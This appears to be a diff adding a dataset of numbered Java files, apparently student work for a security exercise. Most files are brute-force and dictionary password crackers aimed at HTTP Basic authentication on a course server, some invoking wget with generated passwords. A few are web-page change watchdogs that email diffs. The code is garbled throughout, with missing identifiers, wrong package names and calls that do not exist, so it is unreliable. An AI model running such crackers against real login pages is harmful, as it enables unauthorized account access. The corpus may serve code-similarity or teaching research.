+                          if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32))
+                          {
+
+
+                             pwd = """" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64);
+
+                             userpwd = url.encode("""",pwd);
+
+                             connectionObj = urlObj.openConnection();
+
+                             connectionObj.setRequestProperty(""Authorization"","" "" + userpwd);
+                             connectionObj.connect();
+                             reply = connectionObj.getHeaderField(0);
+
+                             if (reply.compareTo(""HTTP/1.1 200 OK"")== 0)
+                             {
+
+                             endTime = System.currentTimeMillis();
+                             totalTime= (endTime - startTime)/1000;
+                             System.out.println(pwd);
+                             System.out.println(""Total Time = "" + (totalTime) + ""seconds"");
+                             System.exit(0);
+                             }
+                             
+                          }
+
+                      }
+
+                  }
+               }
+
+        }
+
+        catch (MalformedURLException err)
+           {
+           System.out.println(err);
+           }
+       catch (IOException err)
+           {
+           System.out.println(err);
+           }
+
+       }
+
+
+
+
+}"
+026.java,"
+import java.util.*;
+import java.net.*;
+import java.io.*;
+public class ScheduleTask extends Thread
+{
+
+    private int flag=0,count1=0,count2=0;
+    private Vector change;
+    public ScheduleTask(Vector init)
+     {
+       try
+       {
+
+          Runtime run = Runtime.getRuntime();
+          String command_line = ""lynx http://yallara.cs.rmit.edu./~/index.html -dump"";
+          Process result = run.exec(command_line);
+          BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
+          String inputLine;
+          Vector newVector = new Vector();
+          change = new Vector();
+          while ((inputLine = in.readLine()) != null)
+          {
+             newVector.addElement(inputLine);
+          }
+          if(init.size()>newVector.size())
+             {
+                for(int k=0;k<newVector.size();k++)
+                   {
+                     if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
+                        change.addElement((Object)newVector.elementAt(k));
+                     count1=k;
+                   }
+                for(int j=count1+1;j<init.size();j++)
+                {
+                  if(init.elementAt(j)!=null)
+                     change.addElement((Object)init.elementAt(j));
+                  else
+                     break;
+                }
+             }
+           else if(init.size()<=newVector.size())
+           {
+                for(int l=0;l<init.size();l++)
+                   {
+                     if(!init.elementAt(l).toString().equals(newVector.elementAt(l).toString()))
+                        change.addElement((Object)newVector.elementAt(l));
+                     count2=l;
+                   }
+                for(int j=count2+1;j<newVector.size();j++)
+                {
+                  if(newVector.elementAt(j)!=null)
+                     change.addElement((Object)newVector.elementAt(j));
+                  else
+                     break;
+                }
+           }
+          
+        if(!newVector.equals(init))
+        {
+        Email aEmail = new Email(change);
+        aEmail.send();
+        sleep(1000*60*24);
+        flag=1;
+        }
+       }
+       catch(Exception e)
+       {
+          System.out.println(e);
+       }
+    }
+           public int getFlag()
+       {
+         return(flag);
+       }
+}"
+172.java,"
+
+
+import java.*;
+import java.io.*;
+
+public class BruteForce
+{
+
+	public static void main(String[] args)
+	{
+          
+          int i,j,k,counter=0;
+	  String pass,temp1;
+	  
+          char oneTemp[] = {'a'};
+	  char twoTemp[] = {'a','a'};
+	  char threeTemp[] = {'a','a','a'};
+	  String function= new String();
+          
+	  
+	  Runtime rtime = Runtime.getRuntime();
+	  Process prs= null;
+          
+	
+	
+	
+	
+	
+	for(i=65;i<123;i++)
+	{
+		if( i > 90 && i < 97)
+		     i = 97;
+		oneTemp[0] = (char)i ;
+		pass = new String(oneTemp);
+			  
+		
+			  	
+					 
+
+        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
+          
+              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    prs = rtime.exec(function);
+
+                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
+                                 
+                  
+                    BufferedReader bread = new BufferedReader(stre);
+
+                    while((temp1 = bread.readLine()) != null)
+                     {
+
+			
+                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
+                       {
+                              System.out.println(""The password has is:""+pass);
+                              System.exit(0);
+                       }
+                     }
+
+	           }catch(java.io.IOException e){}
+               }
+	
+	
+	
+		
+	
+	
+	
+	for(i=65;i<123;i++)
+	{
+		if( i > 90 && i < 97)
+		     i = 97;
+		for(j =65;j<123;j++)
+		{
+			if( j > 90 && j < 97)
+			  j = 97;
+			 
+			twoTemp[0] = (char)i ;
+			twoTemp[1] = (char)j ;
+			pass = new String(twoTemp);
+			  
+		
+			  	
+					 
+
+        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
+          
+              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    prs = rtime.exec(function);
+
+                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
+                                 
+                  
+                    BufferedReader bread = new BufferedReader(stre);
+
+                    while((temp1 = bread.readLine()) != null)
+                     {
+
+			
+                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
+                       {
+                              System.out.println(""The password has is:""+pass);
+                              System.exit(0);
+                       }
+                     }
+
+	           }catch(java.io.IOException e){}
+               }
+	   }
+	
+	
+	
+		
+	
+	
+	
+	
+	for(i=65;i<123;i++)
+	{
+		if( i > 90 && i < 97)
+		     i = 97;
+		for(j =65;j<123;j++)
+		{
+			if( j > 90 && j < 97)
+			  j = 97;
+			  for(k = 65;k<123;k++)
+			  {
+			  	if( k > 90 && k < 97)
+			  		{ k = 97;}
+				
+				threeTemp[0] = (char)i ;
+				threeTemp[1] = (char)j ;
+				threeTemp[2] = (char)k ;
+				pass = new String(threeTemp);
+			  
+		
+			  	
+					 
+
+        System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ );
+          
+              function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    prs = rtime.exec(function);
+
+                    InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
+                                 
+                  
+                    BufferedReader bread = new BufferedReader(stre);
+
+                    while((temp1 = bread.readLine()) != null)
+                     {
+
+			
+                       if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
+                       {
+                              System.out.println(""The password has is:""+pass);
+                              System.exit(0);
+                       }
+                     }
+
+	           }catch(java.io.IOException e){}
+                }
+	
+		}
+	   }	
+	}
+	
+	
+}
+		
+"
+160.java,"import java.io.*;
+
+
+public class WatchDog
+{
+public static void main (String[] args)
+{       String isdiff = new String();
+        String[] cmd1 = {""//sh"",""-c"",""diff newfile.html oldfile.html > diff.txt""};
+        String[] cmd2 = {""//sh"",""-c"",""mailx -s \""Web  Changed\"" \""@cs.rmit.edu.\"" < diff.txt""};
+
+        try {
+
+
+           while(true)
+           {
+              Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
+              Thread.sleep(43200000);
+              Thread.sleep(43200000);
+              Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
+              Thread.sleep(2000);
+              Runtime.getRuntime().exec(cmd1);
+              Thread.sleep(2000);
+              BufferedReader diff = new BufferedReader(new FileReader(""diff.txt""));
+              if ((isdiff=diff.readLine()) != null)
+              {
+                 Runtime.getRuntime().exec(cmd2);
+                 System.out.println(""Change Detected & Email Send"");
+              }
+              diff.print();
+           }
+        }
+
+        catch (IOException err)
+        {
+         err.printStackTrace();
+        }
+
+         catch (InterruptedException err)
+        {
+         err.printStackTrace();
+        }
+
+}
+
+
+}"
+235.java,"	
+
+
+import java.io.*;
+import java.net.*;
+
+import java.util.*;
+
+import java.misc.BASE64Encoder;
+
+public class BruteForce {
+
+  private String userId;
+  private String password;
+
+  private StringBuffer seed= new StringBuffer(""aaa"");
+  private int tries = 1;	
+
+
+	
+  public BruteForce() {
+
+
+    
+    Authenticator.setDefault (new MyAuthenticator());
+  }
+
+  public String fetchURL (String urlString) {
+	HttpURLConnection connection;
+	StringBuffer sb = new StringBuffer();
+	Date startTime, endTime;
+	int responseCode = -1;
+	boolean retry = true;	
+	
+    URL url;
+    startTime = new Date();
+    
+    System.out.println ("" time :"" + startTime);
+
+	while (retry == true)
+	{
+	
+	    try {
+
+			url = new URL (urlString);
+
+			connection = (HttpURLConnection)url.openConnection();
+
+			setUserId("""");
+			setPassword(""rhk8611"");
+
+			System.out.println(""Attempting  get a response : "" +connection.getURL() );
+			responseCode = connection.getResponseCode();
+			System.out.print(responseCode + "" "");
+
+			if (responseCode == HttpURLConnection.HTTP_OK) 
+			{
+				retry = false;
+				System.out.println(""**** ACCESS GRANTED *****"");
+			} else
+			{
+				retry = true;
+				throw new IOException(
+					""HTTP response : "" + String.valueOf(responseCode) + 
+					""\nResponse Message: "" +connection.getResponseMessage());
+				
+			}
+
+			InputStream content = (InputStream)url.getContent();
+			BufferedReader in   = 
+			new BufferedReader (new InputStreamReader (content));
+			String line;
+				while ((line = in.readLine()) != null) {
+					sb.append(line);
+				}
+			} catch (MalformedURLException e) {
+				
+				retry=false;
+				System.out.println (""Invalid URL"" + e.getMessage());
+			} catch (IOException e) {
+				
+				retry=true;
+				connection = null;
+				System.out.println (""Error  URL \n"" + e.getMessage());
+			}
+		}	
+		endTime = new Date();
+		System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes "");
+		System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec"");
+		
+		
+	return sb.toString();
+  }
+
+
+  public static void main (String args[]) {
+	BruteForce myGenerator = new BruteForce();
+
+
+	
+
+
+	System.out.println(""Starting seed is : ""+ myGenerator.getSeed() );
+	String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+		
+	System.out.println("" ACCESSED ->\n"" + pageFound);
+  }
+
+  class MyAuthenticator extends Authenticator {
+    protected PasswordAuthentication getPasswordAuthentication()
+	{
+		String username = getUserId();
+		String pass = getPassword();	
+		if (pass.equals(""ZZZ""))
+		{
+			System.out.println(""\nReached the end of combinations. EXITING.\n"");
+			System.exit(0);
+		}
+		if ((tries % 8) == 0 )
+		{
+			pass = """" + getNextPassword();
+		}else 
+		{
+			pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8);
+		}
+		tries ++;
+
+	  System.out.println(tries + "" Authenticating with -> "" + pass);
+
+	  return new PasswordAuthentication (username, pass.toCharArray());
+	  
+    }
+  }
+	
+	public String getPassword()
+	{
+		return this.password;
+	}
+
+	public void setPassword(String password)
+	{
+		this.password = password;
+	}
+
+	
+	public String getUserId()
+	{
+		return this.userId;
+	}
+
+	public void setUserId(String userId)
+	{
+		this.userId = userId;
+	}
+
+	public StringBuffer getNextPassword()
+	{
+		final int STRING_RADIX = 36;
+		
+		int changeDigit;
+		int dig;
+		char cdig;
+		
+		
+		changeDigit = 2;
+		if (getSeed().charAt(changeDigit) < 'z')
+		{
+			dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
+			dig = dig + 1;
+			cdig = Character.forDigit(dig, STRING_RADIX);
+			seed.setCharAt(changeDigit,cdig);
+				
+		} else
+		{
+			
+			seed.setCharAt(2,'a');
+			
+			
+			changeDigit = 1;
+			if (getSeed().charAt(changeDigit) < 'z')
+			{
+				dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
+				dig = dig + 1;
+				cdig = Character.forDigit(dig, STRING_RADIX);
+				seed.setCharAt(changeDigit,cdig);
+			} else
+			{
+				
+				seed.setCharAt(2,'a');
+				
+				seed.setCharAt(1,'a');
+				
+				
+				changeDigit = 0;
+				if (getSeed().charAt(changeDigit) < 'z')
+				{
+					dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
+					dig = dig + 1;
+					cdig = Character.forDigit(dig, STRING_RADIX);
+					seed.setCharAt(changeDigit,cdig);
+				}
+				
+			}
+			
+		}
+
+		return getSeed();
+	
+	}
+
+	private StringBuffer getNextPasswordCase(String pwd, int inx)
+	{
+		StringBuffer casePwd = new StringBuffer(pwd);
+		char myChar;
+		switch (inx)
+		{
+			case 1:
+				myChar = pwd.charAt(0);
+				casePwd.setCharAt(0, Character.toUpperCase(myChar));
+				break;
+			case 2:
+				myChar = pwd.charAt(1);
+				casePwd.setCharAt(1, Character.toUpperCase(myChar));
+				break;
+			case 3:
+				myChar = pwd.charAt(2);
+				casePwd.setCharAt(2, Character.toUpperCase(myChar));
+				break;
+			case 4:
+				myChar = pwd.charAt(0);
+				casePwd.setCharAt(0, Character.toUpperCase(myChar));
+				myChar = pwd.charAt(1);
+				casePwd.setCharAt(1, Character.toUpperCase(myChar));
+				break;
+			case 5:
+				myChar = pwd.charAt(0);
+				casePwd.setCharAt(0, Character.toUpperCase(myChar));
+				myChar = pwd.charAt(2);
+				casePwd.setCharAt(2, Character.toUpperCase(myChar));
+				break;
+			case 6:
+				myChar = pwd.charAt(1);
+				casePwd.setCharAt(1, Character.toUpperCase(myChar));
+				myChar = pwd.charAt(2);
+				casePwd.setCharAt(2, Character.toUpperCase(myChar));
+				break;
+			case 7:
+				myChar = pwd.charAt(0);
+				casePwd.setCharAt(0, Character.toUpperCase(myChar));
+				myChar = pwd.charAt(1);
+				casePwd.setCharAt(1, Character.toUpperCase(myChar));
+				myChar = pwd.charAt(2);
+				casePwd.setCharAt(2, Character.toUpperCase(myChar));
+				break;
+		}
+		return(casePwd);
+		
+	}	
+	public StringBuffer getSeed()
+	{
+		return this.seed;
+	}
+
+	public void setSeed(StringBuffer seed)
+	{
+		this.seed = seed;
+	}
+
+
+
+}  
+
+
+"
+105.java,"
+
+import java.io.*;
+import java.net.*;
+import java.misc.BASE64Encoder;
+
+public class Dictionary
+{
+  public Dictionary()
+  {}
+
+  public boolean fetchURL(String urlString,String username,String password)
+  {
+     StringWriter  sw= new StringWriter();
+     PrintWriter  pw = new PrintWriter();
+     try{
+       URL url=new URL(urlString);  
+       String userPwd= username+"":""+password;
+
+       
+       
+       
+       
+
+       BASE64Encoder encoder = new BASE64Encoder();
+       String encodedStr = encoder.encode (userPwd.getBytes());
+       System.out.println(""Original String = "" + userPwd);
+	 System.out.println(""Encoded String = "" + encodedStr);
+
+       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
+       huc.setRequestProperty( ""Authorization"","" ""+encodedStr);   
+       InputStream content = (InputStream)huc.getInputStream();
+       BufferedReader in   =
+       new BufferedReader (new InputStreamReader (content));
+       String line;
+       while ((line = in.readLine()) != null) {
+         pw.println (line);
+       System.out.println("""");
+       System.out.println(sw.toString());
+       }return true;
+     } catch (MalformedURLException e) {
+       pw.println (""Invalid URL"");
+       return false;
+     } catch (IOException e) {
+       pw.println (""Error  URL"");
+       return false;
+     }
+
+  }
+
+  public void getPassword()
+  {
+     String dictionary=""words"";
+     String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/"";
+     String login="""";
+     String pwd="" "";
+
+     try
+     {
+       BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
+        startTime=System.currentTimeMillis();
+       while (pwd!=null)
+       {
+         pwd=inputStream.readLine();
+         if(this.fetchURL(urlString,login,pwd))
+         {
+            finishTime=System.currentTimeMillis();
+           System.out.println(""Finally I gotta it,  password is : ""+pwd);
+           System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
+           System.exit(1);
+         } 
+
+       }
+       inputStream.close();
+     }
+     catch(FileNotFoundException e)
+     {
+       System.out.println(""Dictionary not found."");
+     }
+     catch(IOException e)
+     {
+       System.out.println(""Error  dictionary"");
+     }
+  }
+
+  public static void main(String[] arguments)
+  {
+     BruteForce bf=new BruteForce();
+     bf.getPassword();
+  } 
+}"
+194.java,"
+import java.io.*;
+import java.util.*;
+
+
+class BruteForce{
+
+public static void main(String args[]){
+
+String pass,s;
+char a,b,c;
+int z=0;
+int attempt=0;
+Process p;
+
+
+char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
+            'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
+            'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
+ z = System.currentTimeMillis();
+int at=0;
+for(int i=0;i<password.length;i++){
+ for(int j=0;j<password.length;j++){
+  for(int k=0;k<password.length;k++){
+      pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
+
+     try {
+          System.out.println(""Trying  crack using: ""+pass);
+          at++;
+
+
+          p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+          try{
+          p.waitFor();
+         }
+      catch(Exception q){}
+
+
+          z = p.exitValue();
+
+
+      if(z==0)
+      {
+       finish = System.currentTimeMillis();
+      float time = finish - t;
+      System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" );
+      System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" );
+      System.exit(0);
+      }
+
+      }
+     catch (IOException e) {
+        System.out.println(""Exception happened"");
+        e.printStackTrace();
+        System.exit(-1);
+                           }
+
+        }
+       }
+      }
+    }
+  }
+
+
+"
+113.java,"
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+
+
+
+public class MailsendPropertyHelper {
+
+	private static Properties testProps;
+
+	public MailsendPropertyHelper() {
+	}
+
+
+	
+
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the watchddog Props"");
+			e.printStackTrace();
+		}
+		return testProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(testProps == null){
+			testProps = new Properties();
+
+			InputStream fis =
+				MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties"");
+			testProps.load(fis);
+		}
+	}
+}
+
+
+
+
+
+"
+258.java,"
+
+import java.awt.*;
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import java.*;
+
+ 
+public class Dictionary 
+{
+
+    public static void main(String args[]) throws Exception
+    {
+       
+        String urlPath = null;
+        
+        if(args.length > 0)
+        {
+            urlPath = args[0];
+            System.out.println(""URL "" + urlPath);
+            Dictionary dict = new Dictionary(urlPath);            
+        }
+        else{
+            System.out.println(""Please enter URL at command prompt"");
+            System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
+        }
+
+        System.exit(0);
+
+    }
+
+    
+    public Dictionary(String urlPath) throws Exception
+    {
+        linkToWeb(urlPath);
+
+    }
+
+    public boolean linkToWeb(String urlPath) throws Exception
+    {
+        HttpURLConnection connection;
+        String word = null;
+        String usrName = """";
+        String usrNamePwd = null;
+        String encoding = null;
+        URL  = new URL(urlPath);
+
+
+        BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
+        word  = inputStream.readLine();    
+
+        while(word != null)
+        {
+            
+            if(word.length() <= 3){
+
+                usrNamePwd = usrName +"":""+ word;
+                encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
+                connection = (HttpURLConnection).openConnection();
+                connection.setRequestProperty(""Authorization"", "" "" + encoding);
+            
+                System.out.println(word);
+
+                if(connection.getResponseCode() == 200){  
+                    System.out.println(""Password Found "" +word); 
+                    return true;
+                }
+                connection.disconnect();
+            }
+            word  = inputStream.readLine();     
+
+        }
+
+        System.out.println(""Password not found"" );
+        return false;
+
+    }
+
+
+
+    public class  Base64Converter
+    {
+
+     public final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+     public String  encode ( String  s )
+     {
+        return encode ( s.getBytes ( ) );
+     }
+
+     public String  encode ( byte [ ]  octetString )
+     {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+        {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+        }
+
+       if ( octetString.length - i == 2 )
+        {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+          out [ outIndex++ ] = '='; 
+        }
+
+       return new String ( out );
+      }
+
+    }
+
+
+
+    
+}
+
+"
+011.java,"import java.net.*; 
+import java.io.*; 
+import java.util.Vector;
+import java.util.Date;
+import java.security.*;
+
+
+
+
+
+
+
+
+
+
+
+  
+public class BruteForce { 
+  public static BufferedReader in;
+  
+  
+  public static void main (String[] args) throws Exception {   
+    String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";    
+    Date date = new Date();
+     startTime=date.getTime();
+    int LIMITINMINUTES=45;
+    int TIMELIMIT=LIMITINMINUTES*1000*60;
+    boolean timedOut=false;
+    boolean found=false;
+    
+    char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
+    char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
+    char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
+    
+    
+    
+    
+    
+    
+    while (found==false) {
+      String password = """";
+
+      
+      URL url = new URL(baseURL); 
+      String username="""";
+      
+      
+      for (int i=0; i<letters.length; i++){
+        password = String.valueOf(letters[i]);  
+ 
+        
+        String authString = username+"":""+password;
+        String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); 
+        System.out.print(""authString is: ""+authString);     
+        
+        URLConnection urlConnect=url.openConnection();
+      
+        
+        urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+ 
+        String responseCode = urlConnect.getHeaderField(0);
+	System.out.print("" Response  is: "");
+	System.out.println(responseCode);
+
+        if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+          found=true;
+	  i=letters.length;
+        }      
+      } 
+      
+      
+      if (!found) {
+	for (int j=0; j<letters.length; j++){
+          for (int k=0; k<letters.length; k++) {
+	    String letter1=String.valueOf(letters[j]);	        
+            String letter2=String.valueOf(letters[k]);
+	    password = letter1.concat(letter2);   
+
+	    String authString = username+"":""+password;
+	    String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	    System.out.print(""authString is: ""+authString);     
+	    
+	    URLConnection urlConnect=url.openConnection();
+
+	    
+	    urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	    String responseCode = urlConnect.getHeaderField(0);
+
+    	    System.out.print("" Response  is: "");
+    	    System.out.println(responseCode);
+
+	    if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+              found=true;
+              j=letters.length;
+	      k=letters.length;
+	    }
+	  }
+	}
+      } 
+  
+  
+  
+  
+  
+      if (!found){ 
+      
+	for (int j=0; j<lettersLC.length; j++){
+          for (int k=0; k<lettersLC.length; k++) {
+	    for (int l=0; l<lettersLC.length; l++){
+	      String letter1=String.valueOf(lettersLC[j]);	        
+              String letter2=String.valueOf(lettersLC[k]);
+	      String letter3=String.valueOf(lettersLC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersLC.length;
+		k=lettersLC.length;
+		l=lettersLC.length;
+	      }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersLC.length;
+          }
+	}
+      } 
+
+      if (!found){ 
+      
+	for (int j=0; j<lettersUC.length; j++){
+          for (int k=0; k<lettersLC.length; k++) {
+	    for (int l=0; l<lettersLC.length; l++){
+	      String letter1=String.valueOf(lettersUC[j]);	        
+              String letter2=String.valueOf(lettersLC[k]);
+	      String letter3=String.valueOf(lettersLC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersUC.length;
+		k=lettersLC.length;
+		l=lettersLC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersUC.length;
+          }
+	}
+      } 
+      
+      if (!found){ 
+      
+	for (int j=0; j<lettersUC.length; j++){
+          for (int k=0; k<lettersUC.length; k++) {
+	    for (int l=0; l<lettersUC.length; l++){
+	      String letter1=String.valueOf(lettersUC[j]);	        
+              String letter2=String.valueOf(lettersUC[k]);
+	      String letter3=String.valueOf(lettersUC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        	found=true;
+		j=lettersUC.length;
+		k=lettersUC.length;
+		l=lettersUC.length;
+	     }
+            }
+	  }
+	  
+          Date endDate = new Date();
+           endTime=endDate.getTime();    
+          if (endTime>(TIMELIMIT+startTime)){
+            System.out.println(""Timed out"");
+            timedOut=true;
+	    j=lettersUC.length;
+          }
+	}
+      } 
+      
+      if (!found){ 
+      
+	for (int j=0; j<lettersUC.length; j++){
+          for (int k=0; k<lettersUC.length; k++) {
+	    for (int l=0; l<lettersLC.length; l++){
+	      String letter1=String.valueOf(lettersUC[j]);	        
+              String letter2=String.valueOf(lettersUC[k]);
+	      String letter3=String.valueOf(lettersLC[l]);
+	      password = letter1.concat(letter2);  
+	      password = password.concat(letter3); 
+
+	      String authString = username+"":""+password;
+	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
+	      System.out.print(""authString is: ""+authString);     
+	      
+	      URLConnection urlConnect=url.openConnection();
+
+	      
+	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+	      String responseCode = urlConnect.getHeaderField(0);
+
+              String errorCode = new String(urlConnect.getHeaderField(0));
+      	      System.out.print("" Response  is: "");
+      	      System.out.println(responseCode);
+
+	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
